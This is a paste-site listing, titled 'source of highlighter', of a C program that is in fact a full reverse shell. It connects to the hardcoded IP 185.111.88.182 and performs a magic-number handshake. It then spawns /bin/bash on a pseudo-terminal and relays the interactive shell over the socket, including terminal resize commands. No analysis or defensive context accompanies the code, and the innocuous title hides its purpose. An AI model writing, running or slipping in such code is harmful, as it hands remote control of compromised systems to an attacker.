source of highlighter
plain | download
    1 #include <errno.h>
    2 #include <stdio.h>
    3 #include <stdlib.h>
    4 #include <string.h>
    5 #include <fcntl.h>
    6 #include <unistd.h>
    7 #include <sys/types.h>
    8 #include <sys/socket.h>
    9 #include <sys/ioctl.h>
   10 #include <netinet/in.h>
   11 
   12 #define CHARBUFFER_TO_UINT(buf) ({\
   13 unsigned int result = \
   14           ((unsigned int) (buf)[0] << 24) \
   15         + ((unsigned int) (buf)[1] << 16) \
   16         + ((unsigned int) (buf)[2] << 8) \
   17         + ((unsigned int) (buf)[3]); \
   18 result; \
   19 })
   20 
   21 int main (int argc, char ** argv) {
   22         int server;
   23         struct sockaddr_in name;
   24 
   25         if (argc < 2) {
   26                 printf("usage: %s port\n\n", argv[0]);
   27                 exit(EXIT_FAILURE);
   28         }
   29 
   30         name.sin_family = AF_INET;
   31         inet_aton("185.111.88.182", &(name.sin_addr));
   32         name.sin_port = htons(atoi(argv[1]));
   33 
   34         server = socket(PF_INET, SOCK_STREAM, 0);
   35         if (connect(server, (struct sockaddr *) &name, sizeof(name)) < 0) {
   36                 perror("connect");
   37                 goto exit_server;
   38         }
   39 
   40         unsigned char magic[4] = {0x12, 0x34, 0x56, 0x78};
   41         unsigned char cmp[4];
   42         if (write(server, magic, 4) < 4) {
   43                 fprintf(stderr, "Cannot write magic number!\n");
   44                 goto exit_server;
   45         }
   46         if (read(server, cmp, 4) < 4) {
   47                 fprintf(stderr, "Cannot read magic number!\n");
   48                 goto exit_server;
   49         }
   50         if (strncmp(magic, cmp, 4)) {
   51                 fprintf(stderr, "Magic number verification failed!\n");
   52                 goto exit_server;
   53         }
   54 
   55         int master;
   56 
   57         master = open("/dev/ptmx", O_RDWR|O_NOCTTY);
   58         if (master < 0) {
   59                 perror("open /dev/ptmx");
   60                 goto exit_server;
   61         }
   62 
   63         pid_t pid = fork();
   64         if (pid < 0) {
   65                 perror("fork");
   66                 goto exit;
   67         }
   68         if (!pid) {
   69                 int slave;
   70                 char name[256];
   71                 if (grantpt(master) < 0) {
   72                         perror("grantpt");
   73                         goto exit;
   74                 }
   75                 if (unlockpt(master) < 0) {
   76                         perror("unlockpt");
   77                         goto exit;
   78                 }
   79                 if (ptsname_r(master, name, 256) < 0) {
   80                         perror("ptsname_r");
   81                         goto exit;
   82                 }
   83                 slave = open(name, O_RDWR);
   84                 if (slave < 0) {
   85                         perror("slave open");
   86                         goto exit;
   87                 }
   88                 close(master);
   89                 setsid();
   90                 dup2(slave, 0);
   91                 dup2(slave, 1);
   92                 dup2(slave, 2);
   93                 close(slave);
   94                 char * arguments[] = {"/bin/bash", NULL};
   95                 execv("/bin/bash", arguments);
   96         } else {
   97                 fd_set activeset, readset;
   98                 FD_ZERO(&activeset);
   99                 FD_SET(server, &activeset);
  100                 FD_SET(master, &activeset);
  101                 while (1) {
  102                         readset = activeset;
  103                         if (select(FD_SETSIZE, &readset, NULL, NULL, NULL) < 0) {
  104                                 perror("select");
  105                                 goto exit;
  106                         }
  107                         if (FD_ISSET(master, &readset)) {
  108                                 char buf[1024];
  109                                 ssize_t size;
  110                                 do {
  111                                         size = read(master, buf, 1024);
  112                                         if (size <= 0)
  113                                                 goto exit;
  114                                         size = write(server, buf, size);
  115                                         if (size <= 0)
  116                                                 goto exit;
  117                                 } while (size == 1024);
  118                         }
  119                         if (FD_ISSET(server, &readset)) {
  120                                 char cmd[2];
  121                                 if (read(server, cmd, 2) < 2)
  122                                         goto exit;
  123                                 if (cmd[0] != 0x00)
  124                                         goto exit;
  125                                 if (cmd[1] == 0x00) {
  126                                         if (read(server, cmd, 2) < 2)
  127                                                 goto exit;
  128                                         ssize_t size = ((ssize_t) cmd[0] << 8) + (cmd[1]);
  129                                         char buf[size];
  130                                         if (read(server, buf, size) < size)
  131                                                 goto exit;
  132                                         if (write(master, buf, size) < size)
  133                                                 goto exit;
  134                                 } else if (cmd[1] == 0x01) {
  135                                         char buf[16];
  136                                         if (read(server, buf, 16) < 16)
  137                                                 goto exit;
  138                                         struct winsize ws;
  139                                         ws.ws_row = CHARBUFFER_TO_UINT(&buf[0]);
  140                                         ws.ws_col = CHARBUFFER_TO_UINT(&buf[4]);
  141                                         ws.ws_xpixel = CHARBUFFER_TO_UINT(&buf[8]);
  142                                         ws.ws_ypixel = CHARBUFFER_TO_UINT(&buf[12]);
  143                                         ioctl(master, TIOCSWINSZ, &ws);
  144                                 } else {
  145                                         goto exit;
  146                                 }
  147                         }
  148                 }
  149         }
  150 exit:
  151         close(master);
  152 exit_server:
  153         close(server);
  154         exit(EXIT_SUCCESS);
  155 }
  156